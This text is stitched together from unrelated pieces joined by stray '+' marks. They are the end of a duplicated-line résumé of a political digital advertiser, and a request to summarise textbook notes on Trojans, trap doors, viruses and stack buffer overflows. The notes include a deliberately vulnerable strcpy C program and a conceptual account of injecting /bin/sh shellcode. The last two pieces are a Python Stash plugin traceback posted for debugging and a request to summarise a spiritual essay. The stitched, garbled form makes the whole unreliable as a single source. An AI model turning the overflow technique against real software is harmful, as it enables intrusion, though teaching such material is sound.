segmentation, targeting, creative development, budget management, and performance analysis.As a Digital Advertising Strategist, I collaborated with clients to create and optimize digital advertising campaigns for progressive causes and candidates. I leveraged the power of data and creative storytelling to deliver measurable results while continuously refining strategies to maximize ROI. My responsibilities included audience segmentation, targeting, creative development, budget management, and performance analysis.\nSkills: Paid Social Media Advertising · Search Engine Marketing (SEM) · Email List Growth · CopywritingSkills: Paid Social Media Advertising · Search Engine Marketing (SEM) · Email List Growth · Copywriting\nBlueprint Interactive logo\nDigital Campaigns AssociateDigital Campaigns Associate\nBlueprint InteractiveBlueprint Interactive\nFeb 2018 - Apr 2020 · 2 yrs 3 mosFeb 2018 - Apr 2020 · 2 yrs 3 mos\nWashington D.C. Metro AreaWashington D.C. Metro Area\nIn my role as Digital Campaigns Associate, I worked to create, optimize, and report on digital advertising campaigns for political candidates, PACs, and organizations. I assisted in campaign strategy development, creative production, ad placement, and performance analysis. My contributions helped ensure that our clients' campaigns were data-driven, effective, and met their specific goals.In my role as Digital Campaigns Associate, I worked to create, optimize, and report on digital advertising campaigns for political candidates, PACs, and organizations. I assisted in campaign strategy development, creative production, ad placement, and performance analysis. My contributions helped ensure that our clients' campaigns were data-driven, effective, and met their specific goals.\nSkills: Facebook Ads · Programmatic Ads · Google Ads · Email Coding · Twitter AdsSkills: Facebook Ads · Programmatic Ads · Google Ads · Email Coding · Twitter Ads\nU.S. House of Representatives logo\nDigital InternDigital Intern\nU.S. House of RepresentativesU.S. House of Representatives\nNov 2017 - Jan 2018 · 3 mosNov 2017 - Jan 2018 · 3 mos\nWashington, D.C.Washington, D.C.\nI assisted the Committee on Oversight and Government Affairs' digital communications efforts. I brought my aptitude in digital design, photography, and website management to bear on ongoing projects, including website CMS management, hearing documentation, and content creation.I assisted the Committee on Oversight and Government Affairs' digital communications efforts. I brought my aptitude in digital design, photography, and website management to bear on ongoing projects, including website CMS management, hearing documentation, and content creation.\nSkills: Content Management Systems (CMS) · DrupalSkills: Content Management Systems (CMS) · Drupal\nOrganizing FellowOrganizing Fellow\nDavid Reid for DelegateDavid Reid for Delegate\nSep 2017 - Nov 2017 · 3 mosSep 2017 - Nov 2017 · 3 mos\nAided the field operation in the 32 District of Virginia for the successful election of Delegate-Elect David Reid and Ralph Northam. I managed direct voter contact for several precincts, recruited and trained volunteers, and collaborated with progressive community organizations to maximize voter turnout.Aided the field operation in the 32 District of Virginia for the successful election of Delegate-Elect David Reid and Ralph Northam. I managed direct voter contact for several precincts, recruited and trained volunteers, and collaborated with progressive community organizations to maximize voter turnout.\nSkills: Political Organizing · Local Campaign · Volunteer Recruitment · GOTVSkills: Political Organizing · Local Campaign · Volunteer Recruitment · GOTV\nU.S. House of Representatives logo\nDigital InternDigital Intern\nU.S. House of RepresentativesU.S. House of Representatives\nFeb 2017 - May 2017 · 4 mosFeb 2017 - May 2017 · 4 mos\nWashington D.C. Metro AreaWashington D.C. Metro Area\nOffice of Democratic Whip Steny Hoyer\nHelped stand up a new media lab focused on video production and live streaming for Congressman Hoyer and other members. I also worked in close collaboration with Mr. Hoyer’s press team, drafting press releases for the Maryland Press Secretary and adapting other materials for social media.Office of Democratic Whip Steny Hoyer Helped stand up a new media lab focused on video production and live streaming for Congressman Hoyer and other members. I also worked in close collaboration with Mr. Hoyer’s press team, drafting press releases for the Maryland Press Secretary and adapting other materials for social media.\nSkills: Video Editing · Political communicationSkills: Video Editing · Political communication\nU.S. House of Representatives logo\nCongressional InternCongressional Intern\nU.S. House of RepresentativesU.S. House of Representatives\nJun 2016 - Aug 2016 · 3 mosJun 2016 - Aug 2016 · 3 mos\nWashington D.C. Metro AreaWashington D.C. Metro Area\nCongresswoman Rosa DeLauro\nConducted legislative research and analysis, handled constituent correspondence, assisted with\nadministrative tasks, and attended Congressional briefings and wrote summary memos.Congresswoman Rosa DeLauro Conducted legislative research and analysis, handled constituent correspondence, assisted with administrative tasks, and attended Congressional briefings and wrote summary memos.\nSkills: Constituent ServicesSkills: Constituent Services\nUnited States Senate logo\nInternIntern\nUnited States SenateUnited States Senate\nJul 2015 - Aug 2015 · 2 mosJul 2015 - Aug 2015 · 2 mos\nRoanoke, VARoanoke, VA\nStaffed Senator Kaine’s regional travel in rural Virginia focusing on economic development,\nhandled constituent casework and correspondence, and helped host town halls.Staffed Senator Kaine’s regional travel in rural Virginia focusing on economic development, handled constituent casework and correspondence, and helped host town halls.\nU.S. Fish and Wildlife Service (USFWS) logo\nInternIntern\nU.S. Fish and Wildlife Service (USFWS)U.S. Fish and Wildlife Service (USFWS)\nJun 2013 - Jul 2013 · 2 mosJun 2013 - Jul 2013 · 2 mos\nArlington, VAArlington, VA\nDuring my short time as an intern at the U.S. Fish and Wildlife Service, I gained invaluable experience in teamwork, research, and understanding the complexity of natural ecosystems. As I ventured into the digital advertising landscape, these experiences helped shape my passion for progressive causes and fostering a better world for future generations.During my short time as an intern at the U.S. Fish and Wildlife Service, I gained invaluable experience in teamwork, research, and understanding the complexity of natural ecosystems. As I ventured into the digital advertising landscape, these experiences helped shape my passion for progressive causes and fostering a better world for future generations.\nBaristaBarista\nBeanetics Coffee RoastersBeanetics Coffee Roasters\n2010 - 2012 · 2 yrs2010 - 2012 · 2 yrs\nAnnandale, VAAnnandale, VA\nBefore diving into the world of digital advertising and politics, I honed my skills as a barista at Beanetics Coffee Roasters. Here, I learned the fine art of crafting the perfect espresso drink, steaming milk to velvety perfection, and turning caffeine cravings into satisfied smiles. It's where I first discovered the importance of excellent customer service, attention to detail, and teamwork. And yes, I can still make a mean cappuccino.Before diving into the world of digital advertising and politics, I honed my skills as a barista at Beanetics Coffee Roasters. Here, I learned the fine art of crafting the perfect espresso drink, steaming milk to velvety perfection, and turning caffeine cravings into satisfied smiles. It's where I first discovered the importance of excellent customer service, attention to detail, and teamwork. And yes, I can still make a mean cappuccino.\nSkills: Customer Service" +'summarise the following information in short key points :\n\nProgram Threats\n\uf0b7 There are many common threats to modern systems. Only a few are discussed here.\nTrojan Horse\n\n16\n\n\uf0b7 A Trojan horse is a program that secretly performs some maliciousness in addition to its\nvisible actions. \uf0b7 Some Trojan horses are deliberately written as such, and others are the result of\nlegitimate programs that have become infected with viruses, \uf0b7 One dangerous opening for Trojan horses is long search paths, and in particular paths\nwhich include the current directory ( "." ) as part of the path. If a dangerous program\nhaving the same name as a legitimate program ( or a common mis-spelling, such as "sl"\ninstead of "ls" ) is placed anywhere on the path, then an unsuspecting user may be fooled\ninto running the wrong program by mistake. \uf0b7 Another classic Trojan Horse is a login emulator, which records a users account name\nand password, issues a "password incorrect" message, and then logs off the system. The\nuser then tries again (with a proper login prompt), logs in successfully, and doesn\'t realize\nthat their information has been stolen. \uf0b7 Two solutions to Trojan Horses are to have the system print usage statistics on logouts,\nand to require the typing of non-trappable key sequences such as Control-Alt-Delete in\norder to log in. (This is why modern Windows systems require the Control-Alt-Delete\nsequence to commence logging in, which cannot be emulated or caught by ordinary\nprograms. I.e. that key sequence always transfers control over to the operating system. ) \uf0b7 Spyware is a version of a Trojan Horse that is often included in "free" software\ndownloaded off the Internet. Spyware programs generate pop-up browser windows, and\nmay also accumulate information about the user and deliver it to some central site. (This\nis an example of covert channels, in which surreptitious communications occur.) Another\ncommon task of spyware is to send out spam e-mail messages, which then purportedly\ncome from the infected user.\nTrap Door\n\uf0b7 A Trap Door is when a designer or a programmer ( or hacker ) deliberately inserts a\nsecurity hole that they can use later to access the system. \uf0b7 Because of the possibility of trap doors, once a system has been in an untrustworthy state,\nthat system can never be trusted again. Even the backup tapes may contain a copy of\nsome cleverly hidden back door. \uf0b7 A clever trap door could be inserted into a compiler, so that any programs compiled with\nthat compiler would contain a security hole. This is especially dangerous, because\ninspection of the code being compiled would not reveal any problems.\nLogic Bomb\n\uf0b7 A Logic Bomb is code that is not designed to cause havoc all the time, but only when a\ncertain set of circumstances occurs, such as when a particular date or time is reached or\nsome other noticeable event.\nStack and Buffer Overflow\n\n17\n\n\uf0b7 This is a classic method of attack, which exploits bugs in system code that allows buffers\nto overflow. Consider what happens in the following code, for example, if argv[ 1 ]\nexceeds 256 characters:\no The strcpy command will overflow the buffer, overwriting adjacent areas of\nmemory.\no ( The problem could be avoided using strncpy, with a limit of 255 characters\ncopied plus room for the null byte. )\n\n#include\n#define BUFFER\\_SIZE 256\nint main( int argc, char \\* argv[ ] )\n{\nchar buffer[ BUFFER\\_SIZE ];\nif( argc < 2 )\nreturn -1;\nelse {\nstrcpy( buffer, argv[ 1 ] );\nreturn 0;\n}\n}\nFigure - C program with buffer-overflow condition. \uf0b7 So how does overflowing the buffer cause a security breach? Well the first step is to\nunderstand the structure of the stack in memory:\no The "bottom" of the stack is actually at a high memory address, and the stack\ngrows towards lower addresses.\no However the address of an array is the lowest address of the array, and higher\narray elements extend to higher addresses. ( I.e. an array "grows" towards the\nbottom of the stack.\no In particular, writing past the top of an array, as occurs when a buffer overflows\nwith too much input data, can eventually overwrite the return address, effectively\nchanging where the program jumps to when it returns.\n\n18\n\nFigure - The layout for a typical stack frame. \uf0b7 Now that we know how to change where the program returns to by overflowing the\nbuffer, the second step is to insert some nefarious code, and then get the program to jump\nto our inserted code. \uf0b7 Our only opportunity to enter code is via the input into the buffer, which means there isn\'t\nroom for very much. One of the simplest and most obvious approaches is to insert the\ncode for "exec (/bin/sh)". To do this requires compiling a program that contains this\ninstruction, and then using an assembler or debugging tool to extract the minimum extent\nthat includes the necessary instructions. \uf0b7 The bad code is then padded with as many extra bytes as are needed to overflow the\nbuffer to the correct extent, and the address of the buffer inserted into the return address\nlocation. (Note, however, that neither the bad code nor the padding can contain null\nbytes, which would terminate the strcpy.) \uf0b7 The resulting block of information is provided as "input", copied into the buffer by the\noriginal program, and then the return statement causes control to jump to the location of\nthe buffer and start executing the code to launch a shell.\n\n19\n\nFigure : Hypothetical stack frame for (a) before and (b) after. \uf0b7 Fortunately modern hardware now includes a bit in the page tables to mark certain pages\nas non-executable. In this case the buffer-overflow attack would work up to a point, but\nas soon as it "returns" to an address in the data space and tries executing statements there,\nan exception would be thrown crashing the program.\nViruses\n\uf0b7 A virus is a fragment of code embedded in an otherwise legitimate program, designed to\nreplicate itself ( by infecting other programs ), and ( eventually ) wreaking havoc. \uf0b7 Viruses are more likely to infect PCs than UNIX or other multi-user systems, because\nprograms in the latter systems have limited authority to modify other programs or to\naccess critical system structures ( such as the boot block. ) \uf0b7 Viruses are delivered to systems in a virus dropper, usually some form of a Trojan Horse,\nand usually via e-mail or unsafe downloads. \uf0b7 Viruses take many forms (see below.) Figure shows typical operation of a boot sector\nvirus:\n\n20\n\nFigure - A boot-sector computer virus.\n\n21\n\uf0b7 Some of the forms of viruses include:\n\uf0fc File - A file virus attaches itself to an executable file, causing it to run the virus\ncode first and then jump to the start of the original program. These viruses are\ntermed parasitic, because they do not leave any new files on the system, and the\noriginal program is still fully functional.\n\uf0fc Boot - A boot virus occupies the boot sector, and runs before the OS is loaded.\nThese are also known as memory viruses, because in operation they reside in\nmemory, and do not appear in the file system.\n\uf0fc Macro - These viruses exist as a macro (script) that is run automatically by\ncertain macro-capable programs such as MS Word or Excel. These viruses can\nexist in word processing documents or spreadsheet files.\n\uf0fc Source code viruses look for source code and infect it in order to spread.\n\uf0fc Polymorphic viruses change every time they spread - Not their underlying\nfunctionality, but just their signature, by which virus checkers recognize them.\n\uf0fc Encrypted viruses travel in encrypted form to escape detection. In practice they\nare self-decrypting, which then allows them to infect other files.\n\uf0fc Stealth viruses try to avoid detection by modifying parts of the system that could\nbe used to detect it. For example the read ( ) system call could be modified so that\nif an infected file is read the infected part gets skipped and the reader would see\nthe original unadulterated file.\n\uf0fc Tunneling viruses attempt to avoid detection by inserting themselves into the\ninterrupt handler chain, or into device drivers.\n\uf0fc Multipartite viruses attack multiple parts of the system, such as files, boot sector,\nand memory.\n\uf0fc Armored viruses are coded to make them hard for anti-virus researchers to\ndecode and understand. In addition many files associated with viruses are hidden,\nprotected, or given innocuous looking names such as "...". \uf0b7 In 2004 a virus exploited three bugs in Microsoft products to infect hundreds of Windows\nservers ( including many trusted sites ) running Microsoft Internet Information Server,\nwhich in turn infected any Microsoft Internet Explorer web browser that visited any of\nthe infected server sites. One of the back-door programs it installed was a keystroke\nlogger, which records user’s keystrokes, including passwords and other sensitive\ninformation. \uf0b7 There is some debate in the computing community as to whether a monoculture, in\nwhich nearly all systems run the same hardware, operating system, and applications,\nincreases the threat of viruses and the potential for harm caused by them.' +'I\'m now getting time="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] Traceback (most recent call last):"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] File \\"B:\\\\Stash\\\\plugins\\\\Performer\\_Image\\_Gigapixel\\\\gigapixel\\_new.py\\", line 283, in "\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] client.upscale\\_PerformerImage()"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] File \\"B:\\\\Stash\\\\plugins\\\\Performer\\_Image\\_Gigapixel\\\\gigapixel\\_new.py\\", line 246, in upscale\\_PerformerImage"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] self.processPerformerImage(image\\_path, performer\\_id)"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] File \\"B:\\\\Stash\\\\plugins\\\\Performer\\_Image\\_Gigapixel\\\\gigapixel\\_new.py\\", line 202, in processPerformerImage"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] image\\_data = requests.get(image\\_path).content"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] ^^^^^^^^^^^^^^^^^^^^^^^^"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] File \\"B:\\\\Stash\\\\plugins\\\\Performer\\_Image\\_Gigapixel\\\\env\\\\Lib\\\\site-packages\\\\requests\\\\api.py\\", line 73, in get"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] return request(\\"get\\", url, params=params, \\*\\*kwargs)"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] File \\"B:\\\\Stash\\\\plugins\\\\Performer\\_Image\\_Gigapixel\\\\env\\\\Lib\\\\site-packages\\\\requests\\\\api.py\\", line 59, in request"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] return session.request(method=method, url=url, \\*\\*kwargs)"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] File \\"B:\\\\Stash\\\\plugins\\\\Performer\\_Image\\_Gigapixel\\\\env\\\\Lib\\\\site-packages\\\\requests\\\\sessions.py\\", line 573, in request"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] prep = self.prepare\\_request(req)"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] ^^^^^^^^^^^^^^^^^^^^^^^^^"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] File \\"B:\\\\Stash\\\\plugins\\\\Performer\\_Image\\_Gigapixel\\\\env\\\\Lib\\\\site-packages\\\\requests\\\\sessions.py\\", line 484, in prepare\\_request"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] p.prepare("\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] File \\"B:\\\\Stash\\\\plugins\\\\Performer\\_Image\\_Gigapixel\\\\env\\\\Lib\\\\site-packages\\\\requests\\\\models.py\\", line 368, in prepare"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] self.prepare\\_url(url, params)"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] File \\"B:\\\\Stash\\\\plugins\\\\Performer\\_Image\\_Gigapixel\\\\env\\\\Lib\\\\site-packages\\\\requests\\\\models.py\\", line 439, in prepare\\_url"\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] raise MissingSchema("\ntime="2023-01-07 05:31:06" level=error msg="[Plugin / Performer Image Gigapixel\\_New] requests.exceptions.MissingSchema: Invalid URL \'8152\': No scheme supplied. Perhaps you meant http://8152?"\ntime="2023-01-07 05:31:06" level=error msg="Plugin returned error: exit status 1" and here is the complete code import config\\_manager\nimport configparser\nimport requests\nimport sys\nimport json\nimport pathlib\nimport os\nfrom gigapixel import Gigapixel, Scale, Mode\nfrom pathlib import Path\n\n# Path to Gigapixel executable file.\nexe\\_path = Path(\'B:\\Program Files\\Topaz Labs LLC\\Topaz Gigapixel AI\\Topaz Gigapixel AI.exe\')\n\n# Output file suffix. (e.g. pic.jpg -> pic-gigapixel.jpg)\n# You should set same value inside Gigapixel (File -> Preferences -> Default filename suffix).\noutput\\_suffix = \'-gigapixel\'\n\n# Create Gigapixel instance.\napp = Gigapixel(exe\\_path, output\\_suffix)\n\nconfigpath = os.path.join(pathlib.Path(\\_\\_file\\_\\_).parent.resolve(), \'config.ini\')\n\ndef get\\_config\\_value(config\\_file, section, option):\n config = configparser.ConfigParser()\n config.read(config\\_file)\n return config.get(section, option)\n\n \nclass upscale\\_with:\n\n def \\_\\_init\\_\\_(self, url):\n self.url = url\n self.api\\_key = get\\_config\\_value(configpath, \'STASH\', \'api\\_key\')\n stash\\_url = get\\_config\\_value(configpath, \'STASH\', \'url\')\n if not stash\\_url:\n self.error("You need to set the URL in \'config.ini\'")\n return None\n self.stash\\_url = stash\\_url + "/graphql"\n self.headers = {\n "Accept-Encoding": "gzip, deflate, br",\n "Content-Type": "application/json",\n "Accept": "application/json",\n "Connection": "keep-alive",\n "DNT": "1",\n "ApiKey": self.api\\_key\n }\n \n def log(self, level, message):\n print(f"[{level.upper()}] {message}")\n \n def \\_\\_prefix(self,levelChar):\n startLevelChar = b\'\\x01\'\n endLevelChar = b\'\\x02\'\n\n ret = startLevelChar + levelChar + endLevelChar\n return ret.decode()\n\n def \\_\\_log(self,levelChar, s):\n if levelChar == "":\n return\n\n print(self.\\_\\_prefix(levelChar) + s + "\\n", file=sys.stderr, flush=True)\n\n def trace(self,s):\n self.\\_\\_log(b\'t\', s)\n\n def debug(self,s):\n self.\\_\\_log(b\'d\', s)\n\n def info(self,s):\n self.\\_\\_log(b\'i\', s)\n\n def warning(self,s):\n self.\\_\\_log(b\'w\', s)\n\n def error(self,s):\n self.\\_\\_log(b\'e\', s)\n\n def progress(self,p):\n progress = min(max(0, p), 1)\n self.\\_\\_log(b\'p\', str(progress))\n\n def \\_\\_callGraphQL(self, query, variables=None):\n json = {}\n json[\'query\'] = query\n if variables != None:\n json[\'variables\'] = variables\n\n # handle cookies\n response = requests.post(self.url, json=json, headers=self.headers)\n\n if response.status\\_code == 200:\n result = response.json()\n if result.get("error", None):\n for error in result["error"]["errors"]:\n raise Exception("GraphQL error: {}".format(error))\n if result.get("data", None):\n return result.get("data")\n else:\n raise Exception(\n "GraphQL query failed:{} - {}. Query: {}. Variables: {}".format(response.status\\_code, response.content, query, variables))\n \n \n def listTags(self):\n query = """\n query {\n allTags {\n id\n name\n }\n }"""\n\n result = self.\\_\\_callGraphQL(query)\n return result["allTags"]\n \n\n def findTagIdWithName(self, name):\n query = """\nquery {\n allTags {\n id\n name\n }\n}\n """\n\n result = self.\\_\\_callGraphQL(query)\n name = \'upscale\\_with\\_Gigapixel\'\n for tag in result["allTags"]:\n if tag["name"] == name:\n return tag["id"]\n return None\n \n\n def createTagWithName(self, name):\n query = """\nmutation tagCreate($input:TagCreateInput!) {\n tagCreate(input: $input){\n id \n }\n}\n"""\n variables = {\'input\': {\n \'name\': name\n }}\n\n result = self.\\_\\_callGraphQL(query, variables)\n return result["tagCreate"]["id"]\n\n def destroyTag(self, id):\n query = """\nmutation tagDestroy($input: TagDestroyInput!) {\n tagDestroy(input: $input)\n}\n"""\n variables = {\'input\': {\n \'id\': id\n }}\n self.\\_\\_callGraphQL(query, variables)\n \n def findPerformersByTag(self, id):\n query = """query performer\\_images($performer\\_filter: PerformerFilterType!) {\n findPerformers(performer\\_filter: $performer\\_filter filter: {per\\_page: -1}){\n\n performers{\n id\n name\n image\\_path\n tags{\n name\n }\n }\n}\n}"""\n variables = {\'performer\\_filter\': {\n \'tags\': {\n \'value\': id, \'modifier\': \'INCLUDES\', \'depth\':1\n \n }\n }}\n # self.error(json.dumps(variables))\n # result = self.\\_\\_callGraphQL(query, variables)\n # performers = result["findPerformers"]["performers"]\n # image\\_paths = [performer["image\\_path"] for performer in performers]\n # tags = [performer["tags"] for performer in performers]\n result = self.\\_\\_callGraphQL(query, variables)\n performers = result["findPerformers"]["performers"]\n data = [(performer["id"], performer["image\\_path"]) for performer in performers]\n return data\n\n \n # for performer in tag["id"]:\n\n \n# Adding Gigapixel Now\n def processPerformerImage(self, image\\_path, id):\n # Name of the image file\n file\\_name = \'image.jpg\'\n \n image\\_data = requests.get(image\\_path).content\n \n # Create a Path object for the current directory\n current\\_dir = Path.cwd()\n \n # Save the image data to a file in the current directory\n with open(current\\_dir / file\\_name, \'wb\') as f:\n f.write(image\\_data)\n # Variable for saved image\n image\\_saved = Path(current\\_dir + \'/image.jpg\')\n output\\_path = app.process(image\\_saved, scale=Scale.X2, mode=Mode.STANDARD)\n \n query = """\nmutation performerUpdate($performer\\_update\\_input: PerformerUpdateInput!){\n performerUpdate(input: $performer\\_update\\_input){\n id\n }\n}\n """\n variables = {"performer\\_update\\_input": {"image": output\\_path, "id": id}}\n\n return self.\\_\\_callGraphQL(query, variables)\n def setup\\_tags(self):\n tagName=\'upscale\\_with\\_Gigapixel\'\n tagID = self.findTagIdWithName(tagName)\n if tagID == None:\n tagID = self.createTagWithName(tagName)\n self.debug("adding tag "+tagName)\n else:\n self.debug("tag exists, "+tagName)\n\n def upscale\\_PerformerImage(self):\n tagName = \'upscale\\_with\\_Gigapixel\'\n tagID = self.findTagIdWithName(tagName)\n if tagID is None:\n self.debug("Error no tag for upscale\\_PerformerImage")\n else:\n self.info("Tag exists for upscale\\_PerformerImage") \n \n performers = self.findPerformersByTag(tagID)\n for performer in performers:\n image\\_path, performer\\_id = performer # unpack the tuple into separate variables\n self.processPerformerImage(image\\_path, performer\\_id)\n\n\n# Press the green button in the gutter to run the script.\nif \\_\\_name\\_\\_ == \'\\_\\_main\\_\\_\':\n if len(sys.argv) > 1:\n url = "http://localhost:9999/graphql"\n if len(sys.argv) > 2:\n url = sys.argv[2]\n\n if sys.argv[1] == "setup":\n client = upscale\\_all(url)\n client.setup\\_tags()\n elif sys.argv[1] =="upscale\\_all":\n client = upscale\\_all(url)\n client.upscale\\_PerformerImage()\n elif sys.argv[1]== "api":\n fragment = json.loads(sys.stdin.read())\n scheme=fragment["server\\_connection"]["Scheme"]\n port=fragment["server\\_connection"]["Port"]\n domain="localhost"\n if "Domain" in fragment["server\\_connection"]:\n domain = fragment["server\\_connection"]["Domain"]\n if not domain:\n domain=\'localhost\'\n url = scheme + "://" + domain + ":" +str(port) + "/graphql"\n\n client=upscale\\_with(url)\n mode=fragment["args"]["mode"]\n client.debug("Mode: "+mode)\n if mode == "setup":\n client.setup\\_tags()\n elif mode == "upscale\\_all":\n # current\\_dir = Path.cwd()\n # client.processPerformerImage(str(current\\_dir) + \'/image-gigapixel.jpg\')\n client.upscale\\_PerformerImage()\n else:\n print("")\n \n# upscaler = upscale\\_with(url)\n# result = upscaler.listTags()\n# upscaler.processPerformerImage(output\\_path)' +'Can you summarize the following text that we will tag "separation" for reference:\n\nText: Separation\nThis is the beginning of all illusions. Religious people call this sin. Non-believers call this evil. In everyday terms, we call this bad. But we don’t know why this illusion is an illusion. It’s weird to describe this illusion as the illusion— the grandest illusion of them all— because it’s simple and obvious, however, this is the most complex to understand; it requires knowing what the illusion is, and repetition at seeing the illusion. We must know the truth to know what the illusion is, so we must spoil the big surprise to advance, this is the truth:\nThe truth is unity. The truth is oneness. The truth is all there is.\nThe truth applied to human existence, in relationship to all other beings, is that we are all one. We are all one and the same. We are the same as the animals, the plants, the ground, the sky, the water, the clouds, the shit, the poison, the viruses, the cures, the planet(s), the ecosystem, and the solar system. All of it is the same. There is no difference between anything in existence. You and I are no different. You may think: “we bleed the same blood, we have the same physical systems of being, but we are not the same.” This is correct to assert if you are under the illusion. This may bother you— it should. It shouldn’t make sense. How can we be the same if we don’t live in each other’s bodies? How is this possible if you exist outside of my existence? You can look at me, and know that you are you and I am I.\nTo be clear, this will be the hardest thing you ever wake up from. When you do, you have to face it again; there’s no escaping it, it’s all around you. However, you will see that how you respond to this determines what life you live. If you choose to see this as an opportunity to dispel the illusion, you will live a life of love. If you choose to see this as an opportunity to avoid the illusion’s existence, you will live a life of fear. These choices will be echoed repeatedly in this guide because this is all there is.\nThis should strike you if you’ve never thought of this. When it does, you may feel like you slept through your whole life. You may feel embarrassed. You may feel excited. You may feel guilt. You may feel motivated. You may feel a variety of emotions, but you may not feel them right now. You won’t know until they come. And when you do know, they will continue to come as if they never did before.\nEntire books have been written on the subject; in fact, every book is written about the subject. Every book you read, person you listen to, and experience you have serves to dispel the illusion. This text could be an entire thousand page book on the subject. However, this guide’s purpose is to simply raise your awareness to this. For this reason, we will start from a place we all understand: Science and our physical bodies.\nWe believe we are our bodies, so we must believe we are everything that created them. When broken down, we are systems of organs and cells, and broken down further, we are atoms. Everything is made up of atoms. Atoms are the basic building blocks of all cells and they build by cooperation. Cooperation is significant here as it requires intelligence— we are living proof of\nthis as we survived the test of evolution, despite being one of the weaker species in the animal kingdom, because of it. So if atoms are the building blocks, and these building blocks cooperate to build complex beings, there must be an actor behind the building blocks, someone who does the building.\nEnergy is the actor.\nWe are all energy; we are stuff that has the ability to create. For energy to create things, energy requires intelligence. To create motion, intelligence must know how to create motion. If intelligence didn’t know how, it wouldn’t. We must create the conditions for motion to exist within our body before we can do anything. We can observe this when a baby learns how to walk as she learns how to activate certain impulses that create motion. This action, thus, is intelligent. The baby that walks demonstrates his intelligence by creating the complex set of conditions that enable it to walk. Soon enough, the baby’s intelligent expression heightens as she walks like its second nature. So all actions are acts demonstrating intelligence. There is only intelligent action; it follows that intelligent action comes from intelligent forces. Now we will shift our language.\nIntelligent forces are embodied in intelligent stuff, a thinking stuff. This thinking stuff permeates and penetrates our entire universe. This thinking stuff predates us all as it created everything. Science and religion tell overlapping stories on this idea. Science tells of the big bang and religion tells of creation. Both disciplines agree that this event was no accident, there was a cause. The cause is what created us and all there is around us. This includes all we’ve observed throughout history, all we will experience in the future, and all we experience now. We experience them because this intelligent substance flowing through all of us creates through an order, an intelligent order; without it, our universe falls apart, and we would be particles bouncing in space. But we are here, bouncing in space. If this was one big accident, we wouldn’t exist as we know it.\nWe exist as we are through a physical body manifested through many chemical and physical reactions. We are designed to experience any state of being that exists on the spectrum between love and fear. We experience this because our emotions signal this feeling through our senses. We feel connected to one another in real time through empathy. The only way we feel what someone else feels is if we are the same as that someone, or something.\nWe communicate with emotions more than we do any other tool utilized in our universe. We frown when we see our dogs in pain, we smile when we see our plants lean towards the sun. We feel stress when someone is stressed out, and we feel peace when someone is peaceful. We feel what others feel and we feel it as they feel it. We feel what they feel because we always communicate. We feel all because we are all the same; we are energy manifested through intelligent substance. However, this doesn’t satisfy any logical basis for why we don’t experience ourselves as one being. But herein lies the point: We don’t experience ourselves as one being because we separate from knowing ourselves as one being. We separate from knowing this because we forget who we are.\nThis is the greatest illusion because we forget who we really are. We forget that we are intelligence with all of its power to create. In human terms, we are God. This notion couldn’t be more arrogant than Donald Trump speaking to the media; without a political bias, he’s a great demonstration of arrogance. We should think so, given we all don’t know how great we really are— not only as a collective species or universe, but as individuals; if we did, we would use a different adjective to describe him.\nAgain, we are no different from this stuff, we are this stuff. But we fail to realize this because we fail to remember. Instead, we play a game of pretend; we pretend to be who we are not, we choose desired aspects of ourselves, and we perform acts that fulfill our desires as a statement of being. If we don’t like the rest of the spectrum, we avoid it and proudly assert that we are not like that. But we have all of the potential to be that, we just wouldn’t admit that to ourselves.\nTherefore, you will see that we are the same as Donald Trump. This should bother you. This should bother you because you think you are separate from everything. This’s the only way you could hate, fear, or harm someone— if you thought someone was not you. But who you are is who he is, she is, they are, and it is. You are the embodiment of everything experiencing itself.\nYou most certainly wouldn’t harm yourself, at least not intentionally. But you would another if you could forget who they are. If you could dehumanize them in your mind, see them as less/more than you, something other than you, someone who threatens who you are, you could do it. This idea is the source of every single atrocity that has occurred in our universe. From the people you have distaste for, to mass genocide, to destroying our earth.\nYou must act like things are different from the truth to experience it. In this way, you play the greatest role in the greatest show the universe has ever seen: forget who you are and discover it; that is, remove the cover you placed on your identity. You must act like you don’t know who you are to activate yourself. Some actors appear to play this role better than others, but we all play our part perfectly. The act comes full circle when you realize who picks what role you play in the show— you. But you must pretend like you don’t know so the show goes on. In plain terms, this is the greatest game and the greatest show of hide and seek.\nLife is the grand game of hide and seek: hide from yourself to seek yourself. Acceptance of this game is the first stage to understand it. Denial of this game is the illusions power. It shouldn’t make sense, but over time it does. Maybe. If this does make sense, you are already on your way to being entertained while you embody your role here.\nIf this is too much to process, know that you always have a choice: the blue pill or the red pill. The blue pill allows you to be comfortable with everything as it is and forget that 